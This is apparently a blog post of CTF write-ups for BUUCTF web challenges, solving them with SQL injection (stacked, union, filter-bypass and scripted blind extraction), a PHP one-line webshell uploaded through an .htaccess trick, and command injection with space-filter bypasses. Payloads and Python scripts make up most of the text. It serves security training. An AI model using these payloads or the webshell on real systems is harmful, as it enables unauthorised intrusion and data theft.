buuctf web做题记录

buuctf 做题记录

[SUCTF 2019]EasySQL 1

先考虑堆叠查询

1; show databases;

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

1; show tables;

Array ( [0] => 1 ) Array ( [0] => Flag )

继续试着堆叠注入,发现无法显示列名,有其他大佬猜出了它的查询语句

select $_GET['query'] || flag from flag

在 mysql中 ||等同于or,所以上述查询其实就等同于

select $_GET['query'] or flag from flag 

根据这个查询模式进行payload构造,我们第一时间可以想到直接* from Flag;#但实际测

试不行,应该是将flag给过滤掉了

继续尝试去构造,既然||相当于或,那么我们就可以这样构造
select *,1 || flag from flag;

为什么这样可以呢? 1 or flag中由于1非0,所以为true ,true or flag也为true

将true转换为数字则为1所以最后实际执行的语句为

select *,1 from flag; 我们即可获得flag

第二种思路:通过测试我们发现本题并未过滤set和 concat 函数,我们可以通过set设置会话

模式,将||解析成concat,而concat函数在sql中起到作用是将查询的结果拼接起来

由此我们有了第二种payload

1;set sql_mode=pipes_as_concat;select 1

[强网杯 2019]随便注

这题很奇怪,使用堆叠注入一直都没有结果,最后去看其他人的wp过程,在我这也无法复

现,最后直接使用万能密码居然给过了,怀疑改题了,我看到的题和其他人做到不是一个版

本的题。

[极客大挑战 2019]LoveSQL

也是一个登录框类型,我们先试下堆叠注入,发现不行,试一下万能密码发现登陆了进去,

也就是存在显示位,试一下联合查询。

就是一套标准测试流程

先通过闭合测试,测得需要单引号闭合,再通过

1' order by 3;# 

测得查询列数位3

接着测试显示位 1' union select 1,2,3;# 测得显示位是2,3

接着使用1' union select 1,database(),3获得数据库名geek

接着查询表名:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek';#

我们成功得到表名 :geekuser l0ve1ysq1

再查询第一个表的列名:

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='geekuser';# 

发现有id username password 查询内容

1' union select 1,group_concat(username),3 from geekuser;#

发现flag没在这里,换个表

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='l0ve1ysq1';# 

同样有id username password 继续查询

1' union select 1,group_concat(username),3 from l0ve1ysq1;#

由于输出太多,一次看的不是很清楚,我们选择查看源代码

我们看到了flag!用户,查询内容

1' union select 1,password,3 from l0ve1ysq1 where username='flag';#

发现查不到结果,这可能是我的用户名输入的有问题,不管这些,直接查密码。

1' union select 1,group_concat(password),3 from l0ve1ysq1 ;#

继续查看网页代码,找到flag,拿下。

[极客大挑战 2019]BabySQL

本题是上个题的加强版本,

先试下万能密码,发现报错信息中or 不见了

判断是将or给过滤掉了,如果只调用了一次替换函数,我们是可以进行双写绕过的,再试一

下:1' oorr 1=1;# 发现成功登陆,可以进行正常显示,我们继续

1' oorrder by 3;# 发现不行,查看报错应该是把by 也过滤了,

继续双写绕过1' oorrder bbyy 4;#

通过联合查询发现 union select where from 也进行了过滤,那基本思路就出来了,对过滤的

字符全部进行双写绕过

1' uniunionon seleselectct 1,database(),2;#

查询得到数据库名:geek继续

1' uniunionon seselectlect 1,group_concat(table_name),3 frfromom information_schema.tables whewherere table_schema='geek';#

很难绷,发现似乎不行,再看一下报错,牛魔的,发现是information中的or给过滤了,难

绷,继续

1' uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek';#

有两个表b4bsql,geekuser 有了上一题的经验,我们先看b4bsql

1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name ='b4bsql';#

不出意外,还是 id username password直接拿flag

1' ununionion seleselectct 1,group_concat(password),3 frofromm b4bsql ;#

发现又不行,原因原来是password里的or又给过滤了,最后的payload

1' ununionion seleselectct 1,group_concat(passwoorrd),3 frofromm b4bsql ;#

[GXYCTF2019]BabyUpload

基础的文件上传漏洞,通过尝试发现对content-type进行了限制,只能为image/jpeg形式,

而且对后缀为php的文件做了黑名单检测,对<?进行了过滤,上传目录上没有php文件,这

就挡住了我们很多写入后门方法,但是.htaccess可以正常使用,我们便以此为思路,尝试写

入后门,首先我们需要解决的是<?的过滤,既然把它给过滤了,我们这使用一种新的绕过方

式,即js绕过,具体的一句话木马如下:

<script language="php">eval($_POST['a']);</script>

.htaccess和之前相同

AddType application/x-httpd-php .jpg

通过蚁剑连接服务器,拿下flag.

[极客大挑战 2019]HardSQL

页面和之前的sql注入题目页面相同,跑一下fuzz看下过滤了多少,发现基本上都给过滤了

能用的字符不多了。

测试1'or(true);#发现能顺利登陆,发现没有回显,考虑使用盲注。

1'OR(ord(right(left(database(),1),1))-ord('a'))#

首先去判断数据库名,这里给出我写的脚本

import requests
import urllib.parse
from bs4 import BeautifulSoup
st = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
    i = i+1
    password = "1'OR(ord(right(left(database(),"+str(i)+"),1))-ord('{}'))#"
    for j in st:
        pw = password.format(j)
        params = {
            "username": "admin",
            "password": pw
        }
        url_with_params = url + urllib.parse.urlencode(params)
        res = requests.get(url_with_params)
        rew = res.text
        soup = BeautifulSoup(rew, "html.parser")
        con = soup.find('h1')
        con2 = con.get_text()
        if "NO,Wrong username password" in con2:
            ans = ans+j
            continue
    if (i > 5):
        print(ans)
        break

由我们不知道数据库名有几位,所以i的值可以变化着试试,发现后面的字母都重复了就说明没

有出现重复的那端是数据库名

然后查询表名,利用mysql空格可以用括号替代,等号可以用like替代的特点。

1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)like('geek')),1),1))-ORD('a'))#

import requests
import urllib.parse
from bs4 import BeautifulSoup
st = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
    i = i+1
    password = "1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)like('geek')),"+str(i)+"),1))-ORD('{}'))#"
    for j in st:
        pw = password.format(j)
        params = {
            "username": "admin",
            "password": pw
        }
        url_with_params = url + urllib.parse.urlencode(params)
        res = requests.get(url_with_params)
        rew = res.text
        soup = BeautifulSoup(rew, "html.parser")
        con = soup.find('h1')
        con2 = con.get_text()
        if "NO,Wrong username password" in con2:
            ans = ans+j
            continue
    if (i > 8):
        print(ans)
        break

由于请求过快不一定能正常响应,这里我们多跑几遍,跑出最长的那个表名就是我们要的答案

接下来查看列名

1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)like('H4rDsq1')),1),1))-ORD('a'))#

import requests
import urllib.parse
from bs4 import BeautifulSoup
st = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
    i = i+1
    password = "1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)like('H4rDsq1')),"+str(i)+"),1))-ORD('{}'))#"
    for j in st:
        pw = password.format(j)
        params = {
            "username": "admin",
            "password": pw
        }
        url_with_params = url + urllib.parse.urlencode(params)
        res = requests.get(url_with_params)
        rew = res.text
        soup = BeautifulSoup(rew, "html.parser")
        con = soup.find('h1')
        con2 = con.get_text()
        if "NO,Wrong username password" in con2:
            ans = ans+j
            continue
    if (i > 15):
        print(ans)
        break

不用跑太长,看到什么idusernamepa啥的就能猜出列名是什么了。

最后查password

1'OR(ORD(RIGHT(LEFT((SELECT(GROUP_CONCAT(username,':',password))FROM(H4rDsq1)),1),1))-ORD('a'))#

import requests
import urllib.parse
import time
from bs4 import BeautifulSoup
st = "abcdefghijklmnopqrstuvwxyz1234567890{}-_~"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
    i = i+1
    password = "1'OR(ORD(RIGHT(LEFT((SELECT(GROUP_CONCAT(password))FROM(H4rDsq1)),"+str(i)+"),1))-ORD('{}'))#"
    for j in st:
        pw = password.format(j)
        params = {
            "username": "admin",
            "password": pw
        }
        url_with_params = url + urllib.parse.urlencode(params)
        res = requests.get(url_with_params)
        time.sleep(0.05)
        rew = res.text
        soup = BeautifulSoup(rew, "html.parser")
        con = soup.find('h1')
        con2 = con.get_text()
        if "NO,Wrong username password" in con2:
            print(pw)
            ans = ans+j
            continue
    if (i > 42):
        print(ans)
        break

对于这种比较长的字符串,请求过快丢失字符是我们无法接受的,所以加一个sleep,放慢一点

速度,这样就可以获得完整的flag了

[GXYCTF2019]Ping Ping Ping

很明显,这是查询字符串传入ip,然后服务器接受ip后进行ping命令,对于这种类型我们可以

用管道符做到命令执行的效果,用ls看到服务器有index.php和flag.php,查看index.php获得过滤

ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

我们之前的空格绕过方式有:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

对于本题,发现过滤的字符比较多,给出思路是用$IFS$9绕过空格,用linux中设置的变量绕过flag过滤

?ip=127.0.0.1;a=g;tac$IFS$9fla$a.php

从而获得flag.

posted @   折翼的小鸟先生  阅读(56)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示